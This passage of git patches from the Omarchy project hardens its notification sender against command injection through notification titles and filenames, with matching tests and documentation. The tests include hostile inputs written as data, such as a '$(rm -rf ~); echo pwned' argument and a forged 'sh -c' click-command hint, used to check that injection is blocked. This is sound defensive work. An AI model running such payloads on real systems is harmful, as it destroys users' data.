trap (string-concatenated SQL) the yt-dlp title RCE exploited. + +The shell fails closed on a malformed argv hint (it must be a JSON array of +strings whose program is present and not a leading-dash option) rather than +running anything it can't validate. A caller can still deliberately name a shell +as the program (`--exec sh -c …`), but that runs code because the *developer* +wrote it, not because attacker data became a command — a reviewable red flag +(greppable as `--exec sh`/`--exec bash`), not an injection. Insulating against a +native same-user process is out of scope: it already runs with your privileges +and needs no notification to execute code. What is fully closed is untrusted +*content* — web notifications can't set the exec hint at all, and any relayed +title/filename is confined to inert argument data. ## Helper commands @@ -140,8 +151,8 @@ Everything goes through the same sender contract, so the pieces are small: `battery-low` hook. - **Crash capture** — `omarchy-crash-watch` follows the systemd-coredump journal stream and announces each crashed program (deduped per minute) as a - critical toast whose click runs `omarchy-agent-crash` (via `--exec-arg`, so a - hostile process name stays a literal argument). It waits for the + critical toast whose click runs `omarchy-agent-crash` (via `--exec`, so a + hostile process name stays a discrete argument). It waits for the server first: a shell crash takes the notification server down with it, and that crash is the one most worth reporting. - **Pending migrations** — `omarchy-migrate-notify` (from its user service diff --git a/install/user/first-run/install-voxtype.hook b/install/user/first-run/install-voxtype.hook index 554fd4be..1d07daa6 100644 --- a/install/user/first-run/install-voxtype.hook +++ b/install/user/first-run/install-voxtype.hook @@ -5,5 +5,5 @@ set -e if omarchy-done ensure voxtype-install-invitation; then omarchy-notification-send -u critical -g  "Install Dictation with Voxtype" \ "Click to install voice dictation for Omarchy." \ - --exec-arg omarchy-launch-floating-terminal-with-presentation --exec-arg omarchy-voxtype-install + --exec omarchy-launch-floating-terminal-with-presentation omarchy-voxtype-install fi diff --git a/install/user/first-run/setup-agent.hook b/install/user/first-run/setup-agent.hook index f5427c5e..90596b83 100644 --- a/install/user/first-run/setup-agent.hook +++ b/install/user/first-run/setup-agent.hook @@ -7,5 +7,5 @@ set -e if [[ -z $(omarchy-default-agent) ]] && omarchy-done ensure agent-setup-invitation; then omarchy-notification-send -u critical -g 󰚩 "Set your default agent" \ "Let your favorite agent help with Omarchy." \ - --exec-arg omarchy --exec-arg menu --exec-arg summon --exec-arg setup.default.agent + --exec omarchy menu summon setup.default.agent fi diff --git a/install/user/first-run/setup-fingerprint.hook b/install/user/first-run/setup-fingerprint.hook index 075048d2..2861eef0 100644 --- a/install/user/first-run/setup-fingerprint.hook +++ b/install/user/first-run/setup-fingerprint.hook @@ -8,5 +8,5 @@ if omarchy-hw-fingerprint && [[ ! -f /etc/pam.d/omarchy-lock-fingerprint ]] && omarchy-done ensure fingerprint-setup-invitation; then omarchy-notification-send -u critical -g 󰈷 "Setup Fingerprint Reader" \ "Enable sudo and unlocking with your fingerprint." \ - --exec-arg omarchy-launch-floating-terminal-with-presentation --exec-arg omarchy-setup-security-fingerprint + --exec omarchy-launch-floating-terminal-with-presentation omarchy-setup-security-fingerprint fi diff --git a/install/user/first-run/welcome.sh b/install/user/first-run/welcome.sh index 3e855cd8..22e6629e 100644 --- a/install/user/first-run/welcome.sh +++ b/install/user/first-run/welcome.sh @@ -2,4 +2,4 @@ # elides past three lines. omarchy-notification-send -u critical -g  "Learn Keybindings" \ $'Super + K for cheatsheet.\nSuper + Space for Omarchy Menu.' \ - --exec-arg omarchy-menu-keybindings + --exec omarchy-menu-keybindings diff --git a/install/user/first-run/wifi.sh b/install/user/first-run/wifi.sh index c16cc30f..3b2af23a 100644 --- a/install/user/first-run/wifi.sh +++ b/install/user/first-run/wifi.sh @@ -1,11 +1,11 @@ notify_update() { omarchy-notification-send -u critical -g  "Update System" "Click to update the system." \ - --exec-arg omarchy-launch-floating-terminal-with-presentation --exec-arg omarchy-update + --exec omarchy-launch-floating-terminal-with-presentation omarchy-update } notify_wifi() { omarchy-notification-send -u critical -g 󰖩 "Setup Wi-Fi" "Click to configure the wireless network." \ - --exec-arg omarchy-shell --exec-arg shell --exec-arg toggle --exec-arg omarchy.network + --exec omarchy-shell shell toggle omarchy.network } announce_network() { diff --git a/shell/plugins/notifications/NotificationLogic.js b/shell/plugins/notifications/NotificationLogic.js index a283bc97..849521c2 100644 --- a/shell/plugins/notifications/NotificationLogic.js +++ b/shell/plugins/notifications/NotificationLogic.js @@ -58,7 +58,7 @@ function glyphFromHints(hints) { } // The click action: a JSON argv string from omarchy-notification-send -// --exec-arg. Carried as data so a toast restored after a shell restart stays +// --exec. Carried as data so a toast restored after a shell restart stays // clickable (a libnotify action can't — its sender is gone). Run via // Util.execArgv as bash positional parameters, never a shell string, so // attacker-controlled values (a title, a filename) can't become commands. diff --git a/test/shell.d/agent-invitation-test.sh b/test/shell.d/agent-invitation-test.sh index 3cd17745..e54603fd 100644 --- a/test/shell.d/agent-invitation-test.sh +++ b/test/shell.d/agent-invitation-test.sh @@ -20,7 +20,7 @@ cat >"$test_bin/omarchy-notification-send" <<'EOF' echo notification >>"$TEST_LOG" exec_args=() while (($# > 0)); do - [[ $1 == "--exec-arg" ]] && exec_args+=("$2") + if [[ $1 == "--exec" ]]; then shift; exec_args=("$@"); break; fi shift done ((${#exec_args[@]})) && echo "exec:${exec_args[*]}" >>"$TEST_LOG" diff --git a/test/shell.d/chromium-ytdlp-test.sh b/test/shell.d/chromium-ytdlp-test.sh index 7b4ae512..99ef460f 100755 --- a/test/shell.d/chromium-ytdlp-test.sh +++ b/test/shell.d/chromium-ytdlp-test.sh @@ -131,13 +131,9 @@ dash_title=$(host_fn title_from_file "$download_dir/--include.mp4") [[ $dash_title == "Video" ]] || fail "yt-dlp native host does not pass a leading-dash title to notify-send" "$dash_title" pass "yt-dlp native host does not pass a leading-dash title to notify-send" -# The click action is an argv vector the shell runs without a shell, so the path -# is a literal --exec-arg rather than a value quoted into a command string. The -# prefix is static; `--` keeps mpv from parsing a leading-dash filename. -playback_argv=$(host_fn eval 'printf "%s\n" "${playback_exec_args[@]}"') -[[ $playback_argv == $'--exec-arg\nmpv\n--exec-arg\n--\n--exec-arg' ]] || - fail "yt-dlp native host runs mpv with -- before the path as argv" "$playback_argv" -pass "yt-dlp native host runs mpv with -- before the path as argv" +# The click action passes the path as a discrete --exec argument (asserted +# end-to-end below against the real download); `--` keeps mpv from parsing a +# leading-dash filename as an option. parse_script="$TMPDIR/parse-ytdlp-lines.sh" cat >"$parse_script" <<'EOF' @@ -232,9 +228,9 @@ grep -qF -- $'OMARCHY_FILE\t%(title)s' "$ytdlp_argv" && fail "yt-dlp native host never prints the title into the file record" "$(cat "$ytdlp_argv")" pass "yt-dlp native host never prints the title into the file record" -grep -q -- "--exec-arg mpv --exec-arg -- --exec-arg " "$notify_argv" || - fail "yt-dlp native host builds the click command as an mpv -- argv" "$(cat "$notify_argv")" -pass "yt-dlp native host builds the click command as an mpv -- argv" +grep -q -- "--exec mpv -- " "$notify_argv" || + fail "yt-dlp native host builds the click command as mpv -- " "$(cat "$notify_argv")" +pass "yt-dlp native host builds the click command as mpv -- " grep -qF -- "Download complete My Great Clip" "$notify_argv" || fail "yt-dlp native host toasts the page title, not the sanitised filename" "$(cat "$notify_argv")" diff --git a/test/shell.d/fingerprint-invitation-test.sh b/test/shell.d/fingerprint-invitation-test.sh index d3f5ceaa..754cae2c 100644 --- a/test/shell.d/fingerprint-invitation-test.sh +++ b/test/shell.d/fingerprint-invitation-test.sh @@ -33,7 +33,7 @@ cat >"$test_bin/omarchy-notification-send" <<'EOF' echo notification >>"$TEST_LOG" exec_args=() while (($# > 0)); do - [[ $1 == "--exec-arg" ]] && exec_args+=("$2") + if [[ $1 == "--exec" ]]; then shift; exec_args=("$@"); break; fi shift done ((${#exec_args[@]})) && echo "exec:${exec_args[*]}" >>"$TEST_LOG" diff --git a/test/shell.d/migrate-notify-test.sh b/test/shell.d/migrate-notify-test.sh index 10e46959..ef2008bd 100644 --- a/test/shell.d/migrate-notify-test.sh +++ b/test/shell.d/migrate-notify-test.sh @@ -158,7 +158,7 @@ exec {foreign_lock_fd}>&- rm -f "$test_tmp/notify-args" run_notify 1 >/dev/null 2>&1 notify_args_written || fail "migration notifier sends the notification before exiting" -grep -Fx -- '--exec-arg' "$test_tmp/notify-args" >/dev/null || +grep -Fx -- '--exec' "$test_tmp/notify-args" >/dev/null || fail "migration notifier attaches the click command to the toast" grep -Fx 'omarchy-launch-floating-terminal-with-presentation' "$test_tmp/notify-args" >/dev/null && grep -Fx 'omarchy-migrate' "$test_tmp/notify-args" >/dev/null || diff --git a/test/shell.d/notification-send-test.sh b/test/shell.d/notification-send-test.sh index 015ead0d..913163c1 100644 --- a/test/shell.d/notification-send-test.sh +++ b/test/shell.d/notification-send-test.sh @@ -16,9 +16,14 @@ printf '%s\n' \ >"$stub" chmod +x "$stub" -OMARCHY_TEST_NOTIFY_ARGS="$args_file" PATH="$tmpdir:$ROOT/bin:$PATH" \ - omarchy-notification-send --app-name custom-app -g K -u critical --image /tmp/image.png \ - --exec-arg omarchy-menu-keybindings --exec-arg 'a b' "Learn Keybindings" "Body" +send() { + OMARCHY_TEST_NOTIFY_ARGS="$args_file" PATH="$tmpdir:$ROOT/bin:$PATH" \ + omarchy-notification-send "$@" +} + +# --exec consumes the rest of the line, so it comes after the headline/description. +send --app-name custom-app -g K -u critical --image /tmp/image.png \ + "Learn Keybindings" "Body" --exec omarchy-menu-keybindings 'a b' mapfile -t args <"$args_file" @@ -28,47 +33,55 @@ mapfile -t args <"$args_file" [[ ${args[3]} == "critical" ]] || fail "notification wrapper uses custom urgency" [[ ${args[4]} == "--hint=string:omarchy-glyph:K" ]] || fail "notification wrapper converts glyph to hint" [[ ${args[5]} == "--hint=string:image-path:/tmp/image.png" ]] || fail "notification wrapper converts image to hint" -[[ ${args[6]} == '--hint=string:omarchy-exec-argv:["omarchy-menu-keybindings","a b"]' ]] || fail "notification wrapper converts exec args to an argv hint" "${args[6]}" +[[ ${args[6]} == '--hint=string:omarchy-exec-argv:["omarchy-menu-keybindings","a b"]' ]] || fail "notification wrapper converts the click command to an argv hint" "${args[6]}" [[ ${args[7]} == "Learn Keybindings" ]] || fail "notification wrapper preserves headline" [[ ${args[8]} == "Body" ]] || fail "notification wrapper preserves description" -pass "notification wrapper supports app, glyph, urgency, image, and exec-arg options" +pass "notification wrapper supports app, glyph, urgency, image, and exec options" # The shell runs the click command itself, so nothing may block the sender on a # libnotify action round-trip. grep -q -- "-A" "$args_file" && fail "notification wrapper must not register a libnotify action" : >"$args_file" -OMARCHY_TEST_NOTIFY_ARGS="$args_file" PATH="$tmpdir:$ROOT/bin:$PATH" \ - omarchy-notification-send "Plain" >/dev/null - +send "Plain" >/dev/null grep -q "omarchy-exec" "$args_file" && fail "notification wrapper adds no exec hint without --exec" pass "notification wrapper omits the exec hint when no command is given" -# The free-form shell-string --exec is gone: its existence let a caller skip -# quoting and reintroduce the RCE, so it is rejected outright in favor of the -# argv-only --exec-arg. +# Rest-of-line --exec: the caller's shell has already split the words into +# discrete arguments, and the shell runs them without re-parsing, so shell +# metacharacters in a value are carried as data, never as a command. : >"$args_file" -if OMARCHY_TEST_NOTIFY_ARGS="$args_file" PATH="$tmpdir:$ROOT/bin:$PATH" \ - omarchy-notification-send --exec 'anything' "Headline" 2>/dev/null; then - fail "notification wrapper rejects the removed --exec flag" -fi -grep -q "omarchy-exec" "$args_file" && fail "notification wrapper emits no exec hint for a rejected --exec" -pass "notification wrapper rejects the removed --exec flag" - -# --exec-arg builds an argv vector encoded as a JSON array, so shell -# metacharacters in a value are carried as data, never as a command. The shell -# runs this argv directly (no shell), which is what keeps a hostile title or -# filename from becoming code when the toast is clicked. -: >"$args_file" -OMARCHY_TEST_NOTIFY_ARGS="$args_file" PATH="$tmpdir:$ROOT/bin:$PATH" \ - omarchy-notification-send --exec-arg mpv --exec-arg -- --exec-arg '$(rm -rf ~); echo pwned' \ - "Download complete" >/dev/null - +send "Download complete" --exec mpv -- '$(rm -rf ~); echo pwned' >/dev/null argv_hint=$(grep -- "--hint=string:omarchy-exec-argv:" "$args_file") argv_json=${argv_hint#--hint=string:omarchy-exec-argv:} [[ $(jq -r '.[0]' <<<"$argv_json") == "mpv" ]] || fail "notification wrapper puts the program first in the exec argv" [[ $(jq -r '.[1]' <<<"$argv_json") == "--" ]] || fail "notification wrapper preserves a -- separator in the exec argv" [[ $(jq -r '.[2]' <<<"$argv_json") == '$(rm -rf ~); echo pwned' ]] || fail "notification wrapper carries shell metacharacters as literal argv data" "$argv_json" -grep -q "omarchy-exec:" "$args_file" && fail "notification wrapper emits no legacy exec string when --exec-arg is used" -pass "notification wrapper encodes --exec-arg as a literal JSON argv vector" +pass "notification wrapper encodes rest-of-line --exec as a literal JSON argv vector" + +# A quoted argument with spaces stays ONE argument — something a whitespace-split +# of a single string could never do. +: >"$args_file" +send "Head" --exec mpv -- "/tmp/a b.mp4" >/dev/null +argv_hint=$(grep -- "--hint=string:omarchy-exec-argv:" "$args_file") +argv_json=${argv_hint#--hint=string:omarchy-exec-argv:} +[[ $(jq 'length' <<<"$argv_json") == 3 ]] || fail "notification wrapper keeps a spaced path as one argument" "$argv_json" +[[ $(jq -r '.[2]' <<<"$argv_json") == "/tmp/a b.mp4" ]] || fail "notification wrapper preserves the spaced path verbatim" "$argv_json" +pass "notification wrapper keeps a spaced argument intact" + +# The muscle-memory trap: a single quoted whole command would run a program named +# with spaces. Reject it and point at the unquoted form rather than splitting it +# ourselves (which is the injection we avoid). +: >"$args_file" +if send "Head" --exec "omarchy toggle something" 2>/dev/null; then + fail "notification wrapper rejects a quoted whole command" +fi +grep -q "omarchy-exec" "$args_file" && fail "notification wrapper emits no hint for a rejected --exec" +pass "notification wrapper rejects a single quoted whole command" + +# --exec with nothing after it is a usage error, not a silent no-op. +if send "Head" --exec 2>/dev/null; then + fail "notification wrapper rejects --exec with no command" +fi +pass "notification wrapper rejects --exec with no command" diff --git a/test/shell.d/tailscale-receive-test.sh b/test/shell.d/tailscale-receive-test.sh index 97557186..75c12520 100644 --- a/test/shell.d/tailscale-receive-test.sh +++ b/test/shell.d/tailscale-receive-test.sh @@ -62,11 +62,11 @@ pass "taildrop receive announces other files with a glyph" # The shell keeps the click command with the toast, so receiving does not have # to sit blocked on an answer -- and the toast still opens the file after a shell -# restart. The path rides as its own --exec-arg, so the shell runs it as literal -# data with no quoting for a name with spaces to get wrong. -grep -qF -- "--exec-arg xdg-open --exec-arg $downloads/photo.png" <<<"$notifications" || +# restart. The path rides as its own discrete --exec argument, so the shell runs +# it as literal data with no quoting for a name with spaces to get wrong. +grep -qF -- "--exec xdg-open $downloads/photo.png" <<<"$notifications" || fail "taildrop receive attaches the open command to the notification" "$notifications" -grep -qF -- "--exec-arg xdg-open --exec-arg $downloads/notes with space.pdf" <<<"$notifications" || +grep -qF -- "--exec xdg-open $downloads/notes with space.pdf" <<<"$notifications" || fail "taildrop receive carries spaced names as a literal open argument" "$notifications" pass "taildrop receive lets a click open the received file" diff --git a/test/shell.d/voxtype-invitation-test.sh b/test/shell.d/voxtype-invitation-test.sh index d8170613..2c6efd07 100644 --- a/test/shell.d/voxtype-invitation-test.sh +++ b/test/shell.d/voxtype-invitation-test.sh @@ -20,7 +20,7 @@ cat >"$test_bin/omarchy-notification-send" <<'EOF' echo notification >>"$TEST_LOG" exec_args=() while (($# > 0)); do - [[ $1 == "--exec-arg" ]] && exec_args+=("$2") + if [[ $1 == "--exec" ]]; then shift; exec_args=("$@"); break; fi shift done ((${#exec_args[@]})) && echo "exec:${exec_args[*]}" >>"$TEST_LOG" From 21cbbf819490c3017f32e66298e12d0c3ceabd30 Mon Sep 17 00:00:00 2001 From: Ryan Hughes Date: Sun, 23 Aug 2026 14:41:56 -0400 Subject: [PATCH 022/336] Recognize --exec only after the positionals MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit A greedy pre-scan matched the first --exec token anywhere on the line, so an untrusted headline or description literally equal to "--exec" could be mistaken for the delimiter. It always failed closed (the following token became a dash-option argv[0] that parseExecArgv rejects), but it was a latent footgun surfaced by an adversarial review. Detect --exec only in the trailing-option loop, after the headline/description positionals are captured. A headline that is the string "--exec" is now kept as text and the real trailing --exec still wins. The residual — a description exactly equal to "--exec" losing its click action — is an inherent, harmless CLI ambiguity for a value identical to the delimiter. --- bin/omarchy-notification-send | 33 ++++++++++---------------- test/shell.d/notification-send-test.sh | 12 ++++++++++ 2 files changed, 25 insertions(+), 20 deletions(-) diff --git a/bin/omarchy-notification-send b/bin/omarchy-notification-send index 613f34d7..272c9592 100755 --- a/bin/omarchy-notification-send +++ b/bin/omarchy-notification-send @@ -17,25 +17,6 @@ exec_present=0 args=() parsed_option_args=0 -# Split off the click command first: everything after --exec is its argv. The -# caller's shell has already tokenized those words into discrete arguments, and -# the shell runs them as-is (never re-parsed by a shell), so a value carrying -# untrusted data — a title, a filename — is only ever one argument and can never -# become a command. --exec therefore consumes the rest of the line and must -# come last. -pre_args=() -while (($# > 0)); do - if [[ $1 == "--exec" ]]; then - shift - exec_args=("$@") - exec_present=1 - break - fi - pre_args+=("$1") - shift -done -set -- "${pre_args[@]}" - parse_omarchy_option() { case $1 in -g | --glyph) @@ -101,7 +82,19 @@ if (($# > 0)) && [[ $1 != -* ]]; then fi while (($# > 0)); do - if parse_omarchy_option "$@"; then + if [[ $1 == "--exec" ]]; then + # --exec consumes the rest of the line as the click command's argv. The + # caller's shell already tokenized those words into discrete arguments, and + # the shell runs them as-is (never re-parsed), so untrusted data in an + # argument is only ever one argument and can never become a command. + # Detected only here, after the headline/description positionals are + # captured, so an untrusted headline that is literally "--exec" is taken as + # text and can't be mistaken for the delimiter. --exec therefore comes last. + shift + exec_args=("$@") + exec_present=1 + break + elif parse_omarchy_option "$@"; then shift "$parsed_option_args" else args+=("$1") diff --git a/test/shell.d/notification-send-test.sh b/test/shell.d/notification-send-test.sh index 913163c1..1819032e 100644 --- a/test/shell.d/notification-send-test.sh +++ b/test/shell.d/notification-send-test.sh @@ -85,3 +85,15 @@ if send "Head" --exec 2>/dev/null; then fail "notification wrapper rejects --exec with no command" fi pass "notification wrapper rejects --exec with no command" + +# --exec is recognized only after the positionals, so an untrusted headline or +# description that is literally "--exec" is taken as text and cannot be mistaken +# for the delimiter (the real --exec later still wins). +: >"$args_file" +send "--exec" "a body" --image /tmp/i.png --exec mpv -- /tmp/v.mp4 >/dev/null +argv_hint=$(grep -- "--hint=string:omarchy-exec-argv:" "$args_file") +argv_json=${argv_hint#--hint=string:omarchy-exec-argv:} +[[ $(jq -c '.' <<<"$argv_json") == '["mpv","--","/tmp/v.mp4"]' ]] || fail "notification wrapper ignores a --exec-looking headline as the delimiter" "$argv_json" +grep -qx -- "--exec" "$args_file" || fail "notification wrapper keeps a --exec-looking headline as text" +grep -q 'image-path:/tmp/i.png' "$args_file" || fail "notification wrapper still parses options after a --exec-looking headline" +pass "notification wrapper does not treat a --exec-looking positional as the delimiter" From 1b15120d272b88066a4da47e71a5a9c84b83ebb3 Mon Sep 17 00:00:00 2001 From: "Claude Opus 5 (1M context)" Date: Sun, 23 Aug 2026 21:44:06 +0200 Subject: [PATCH 023/336] Keep relayed text out of notify-send's option parser The argv click command closed injection through the hint's value, but the sender still handed the headline and description to notify-send bare. A value beginning with a dash is parsed there as flags, and one shaped like `--hint=string:omarchy-exec-argv:[...]` is read as a hint of its own -- libnotify keys hints in a hash table, so the later of two replaces the earlier and a forged headline outranks the vector --exec built. That is reachable without any --exec in sight: omarchy-tailscale-send passes a single file's basename verbatim as the description, so a file named like the hint gives its click action to whoever chose the name. Put the headline and description behind a `--` so notify-send reads them as text, and refuse any pass-through word carrying omarchy-exec-argv -- --exec is the only thing that may build a click command. Co-Authored-By: Codex XHigh --- bin/omarchy-notification-send | 15 +++++++++++++-- docs/notifications.md | 6 ++++++ test/shell.d/notification-send-test.sh | 25 +++++++++++++++++++++++-- 3 files changed, 42 insertions(+), 4 deletions(-) diff --git a/bin/omarchy-notification-send b/bin/omarchy-notification-send index 272c9592..773e87d7 100755 --- a/bin/omarchy-notification-send +++ b/bin/omarchy-notification-send @@ -97,6 +97,14 @@ while (($# > 0)); do elif parse_omarchy_option "$@"; then shift "$parsed_option_args" else + # --exec is the only door to a click command. A relayed title or filename + # that lands here -- passthrough is the one position an untrusted value can + # still reach notify-send as an option -- must not be able to set the hint + # itself, which is the injection this transport exists to close. + if [[ $1 == *omarchy-exec-argv* ]]; then + echo "The click command hint can only be set with --exec, not passed through." >&2 + exit 1 + fi args+=("$1") shift fi @@ -136,8 +144,11 @@ if ((exec_present)); then args+=("--hint=string:omarchy-exec-argv:$exec_argv_json") fi +# `--` so notify-send reads the headline and description as text. Without it a +# headline beginning with a dash is parsed as options ("-rf x" becomes -r), and +# one shaped like `--hint=string:...` sets a hint of its own. if [[ -n $description ]]; then - notify-send "${args[@]}" "$headline" "$description" + notify-send "${args[@]}" -- "$headline" "$description" else - notify-send "${args[@]}" "$headline" + notify-send "${args[@]}" -- "$headline" fi diff --git a/docs/notifications.md b/docs/notifications.md index b1c8b96d..cad18248 100644 --- a/docs/notifications.md +++ b/docs/notifications.md @@ -127,6 +127,12 @@ and needs no notification to execute code. What is fully closed is untrusted *content* — web notifications can't set the exec hint at all, and any relayed title/filename is confined to inert argument data. +The sender keeps that last part true rather than leaving it to each caller. The +headline and description go to `notify-send` behind a `--`, so a relayed value +beginning with a dash is text and not flags, and a word that reaches the +pass-through option position carrying `omarchy-exec-argv` is refused outright: +`--exec` is the only thing that may build a click command. + ## Helper commands - `omarchy-notification-wait [timeout]` — polls until the shell answers IPC diff --git a/test/shell.d/notification-send-test.sh b/test/shell.d/notification-send-test.sh index 1819032e..60bb4f9c 100644 --- a/test/shell.d/notification-send-test.sh +++ b/test/shell.d/notification-send-test.sh @@ -34,8 +34,9 @@ mapfile -t args <"$args_file" [[ ${args[4]} == "--hint=string:omarchy-glyph:K" ]] || fail "notification wrapper converts glyph to hint" [[ ${args[5]} == "--hint=string:image-path:/tmp/image.png" ]] || fail "notification wrapper converts image to hint" [[ ${args[6]} == '--hint=string:omarchy-exec-argv:["omarchy-menu-keybindings","a b"]' ]] || fail "notification wrapper converts the click command to an argv hint" "${args[6]}" -[[ ${args[7]} == "Learn Keybindings" ]] || fail "notification wrapper preserves headline" -[[ ${args[8]} == "Body" ]] || fail "notification wrapper preserves description" +[[ ${args[7]} == "--" ]] || fail "notification wrapper ends the options before the text" "${args[7]}" +[[ ${args[8]} == "Learn Keybindings" ]] || fail "notification wrapper preserves headline" +[[ ${args[9]} == "Body" ]] || fail "notification wrapper preserves description" pass "notification wrapper supports app, glyph, urgency, image, and exec options" # The shell runs the click command itself, so nothing may block the sender on a @@ -97,3 +98,23 @@ argv_json=${argv_hint#--hint=string:omarchy-exec-argv:} grep -qx -- "--exec" "$args_file" || fail "notification wrapper keeps a --exec-looking headline as text" grep -q 'image-path:/tmp/i.png' "$args_file" || fail "notification wrapper still parses options after a --exec-looking headline" pass "notification wrapper does not treat a --exec-looking positional as the delimiter" + +# The headline and description are text, never options. notify-send parses a +# leading-dash summary as flags ("-rf x" is -r with the value x) and reads a +# `--hint=string:...` word as a hint, so they go behind a `--` separator. +: >"$args_file" +send "-rf oops" "a body" >/dev/null +mapfile -t args <"$args_file" +[[ ${args[-3]} == "--" ]] || fail "notification wrapper separates a dash headline from the options" "${args[*]}" +[[ ${args[-2]} == "-rf oops" ]] || fail "notification wrapper keeps a dash headline as text" "${args[*]}" +[[ ${args[-1]} == "a body" ]] || fail "notification wrapper keeps the description after a dash headline" "${args[*]}" +pass "notification wrapper hands the headline to notify-send as text, not options" + +# The click command has exactly one door. A relayed title or filename that +# reaches option position must not be able to forge the hint --exec produces. +: >"$args_file" +if send "Download complete" '--hint=string:omarchy-exec-argv:["sh","-c","touch /tmp/pwned"]' 2>/dev/null; then + fail "notification wrapper rejects a forged click-command hint" +fi +grep -q "omarchy-exec-argv" "$args_file" && fail "notification wrapper sends nothing when a click hint is forged" +pass "notification wrapper refuses a click-command hint it did not build from --exec" From 7e469f962d33a2d68edd483d07fd9bc19dfab218 Mon Sep 17 00:00:00 2001 From: Omarchybot Date: Sun, 23 Aug 2026 22:12:07 +0200 Subject: [PATCH 024/336] Let a received Taildrop file wait to be answered (#7953) * Let a received Taildrop file wait to be answered A delivery can land hours after it was sent, and the toast announcing it was expiring after five seconds -- so a file that arrived while nobody was at the machine was gone from the screen before anyone could click it open. Critical urgency is what the shell reads as a popup that lives until it is clicked or dismissed, the same thing omarchy-crash-watch uses to keep its click-to-diagnose toast around. The wrapper takes options after the headline and description as well as before, which is how this argument list is built. That path had no test, and it fails quietly rather than loudly: the wrapper appends its own default urgency last, so an urgency it stopped parsing would reach notify-send as `-u critical ... -u low` and the toast would go back to expiring. Co-Authored-By: Claude Opus 5 (1M context) Co-Authored-By: Codex XHigh * Say it in the commit message, not above the code `-u critical` next to a line that builds a notification says what it does, and the five lines explaining why it is there were a recap of the change rather than something the code could not say. The reasoning stays where it belongs, in the commit that made the change. Co-Authored-By: Claude Opus 5 (1M context) --------- Co-authored-by: David Heinemeier Hansson Co-authored-by: Claude Opus 5 (1M context) Co-authored-by: Codex XHigh --- bin/omarchy-tailscale-receive | 2 +- manual/35-networking.md | 2 +- test/shell.d/notification-send-test.sh | 14 ++++++++++++++ test/shell.d/tailscale-receive-test.sh | 7 ++++++- 4 files changed, 22 insertions(+), 3 deletions(-) diff --git a/bin/omarchy-tailscale-receive b/bin/omarchy-tailscale-receive index 6da2b125..9a92cad9 100755 --- a/bin/omarchy-tailscale-receive +++ b/bin/omarchy-tailscale-receive @@ -59,7 +59,7 @@ claim_path() { announce() { local path="$1" local name="${path##*/}" - local args=("Received $name" "Saved to ${dir/#$HOME/~}") + local args=("Received $name" "Saved to ${dir/#$HOME/~}" -u critical) case "${name,,}" in *.png | *.jpg | *.jpeg | *.gif | *.webp | *.avif | *.bmp | *.tif | *.tiff) diff --git a/manual/35-networking.md b/manual/35-networking.md index 1c4b063c..51437723 100644 --- a/manual/35-networking.md +++ b/manual/35-networking.md @@ -36,7 +36,7 @@ SSH is off until you turn it on with _Setup > Security > SSHD_, which starts the [Tailscale](https://tailscale.com/) is a mesh VPN that makes reaching all your computers and servers over the internet simple and secure. Install it with _Install > Service > Tailscale_. -That gives you a Tailscale panel in the bar, which connects and disconnects the tailnet, switches accounts, and picks an exit node — your own machines and Mullvad regions both show up in the list. It also browses your machines, and that's where Taildrop lives: select a machine and press `s` to send it files, or `c`, `n`, and `d` to copy its IP, name, or full DNS name. The terminal equivalent is `omarchy tailscale send [file...]`, and files sent to you land in `~/Downloads` automatically. +That gives you a Tailscale panel in the bar, which connects and disconnects the tailnet, switches accounts, and picks an exit node — your own machines and Mullvad regions both show up in the list. It also browses your machines, and that's where Taildrop lives: select a machine and press `s` to send it files, or `c`, `n`, and `d` to copy its IP, name, or full DNS name. The terminal equivalent is `omarchy tailscale send [file...]`, and files sent to you land in `~/Downloads` automatically. The notification announcing an arrival waits until you click it open or dismiss it, so a file that turns up while you're away from the machine is still there to answer when you get back. Installing it also adds a web app for the Tailscale admin console. diff --git a/test/shell.d/notification-send-test.sh b/test/shell.d/notification-send-test.sh index e754bb6e..cec38cab 100644 --- a/test/shell.d/notification-send-test.sh +++ b/test/shell.d/notification-send-test.sh @@ -37,6 +37,20 @@ pass "notification wrapper supports app, glyph, urgency, image, and exec options # libnotify action round-trip. grep -q -- "-A" "$args_file" && fail "notification wrapper must not register a libnotify action" +: >"$args_file" +OMARCHY_TEST_NOTIFY_ARGS="$args_file" PATH="$tmpdir:$ROOT/bin:$PATH" \ + omarchy-notification-send "Received photo.png" "Saved to ~/Downloads" -u critical -g K + +mapfile -t args <"$args_file" + +[[ ${args[2]} == "-u" && ${args[3]} == "critical" ]] || + fail "notification wrapper reads an urgency that follows the description" "$(printf '%s ' "${args[@]}")" +(( $(grep -cFx -- "-u" "$args_file") == 1 )) || + fail "notification wrapper sets the urgency once" "$(printf '%s ' "${args[@]}")" +[[ ${args[4]} == "--hint=string:omarchy-glyph:K" ]] || + fail "notification wrapper reads a glyph that follows the description" "$(printf '%s ' "${args[@]}")" +pass "notification wrapper reads options that follow the headline and description" + : >"$args_file" OMARCHY_TEST_NOTIFY_ARGS="$args_file" PATH="$tmpdir:$ROOT/bin:$PATH" \ omarchy-notification-send "Plain" >/dev/null diff --git a/test/shell.d/tailscale-receive-test.sh b/test/shell.d/tailscale-receive-test.sh index a3d45976..7878a188 100644 --- a/test/shell.d/tailscale-receive-test.sh +++ b/test/shell.d/tailscale-receive-test.sh @@ -52,10 +52,15 @@ notifications=$(<"$WORKDIR/notifications") fail "taildrop receive saves incoming files" "$(ls "$downloads")" pass "taildrop receive saves incoming files" -grep -qF -- "Received photo.png Saved to $downloads --image $downloads/photo.png" <<<"$notifications" || +grep -qF -- "Received photo.png Saved to $downloads -u critical --image $downloads/photo.png" <<<"$notifications" || fail "taildrop receive previews received images" "$notifications" pass "taildrop receive previews received images" +while IFS= read -r line; do + [[ $line == *"-u critical"* ]] || fail "taildrop receive announcements wait to be answered" "$line" +done <<<"$notifications" +pass "taildrop receive announcements wait to be answered" + grep -q "^Received notes with space.pdf .* -g " <<<"$notifications" || fail "taildrop receive announces other files with a glyph" "$notifications" pass "taildrop receive announces other files with a glyph" From be63983d16ec2673f5f6e0f4bfc7167b8344d807 Mon Sep 17 00:00:00 2001 From: Ryan Hughes Date: Sun, 23 Aug 2026 16:47:13 -0400 Subject: [PATCH 025/336] Describe parseExecArgv as a structural check, not intent MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit The comment claimed the validation kept a hostile hint from reaching a shell, but it is purely structural: a well-formed ["bash","-c",…] passes. Say so, and point at the separate sender-trust boundary. --- shell/plugins/notifications/NotificationLogic.js | 10 +++++++--- 1 file changed, 7 insertions(+), 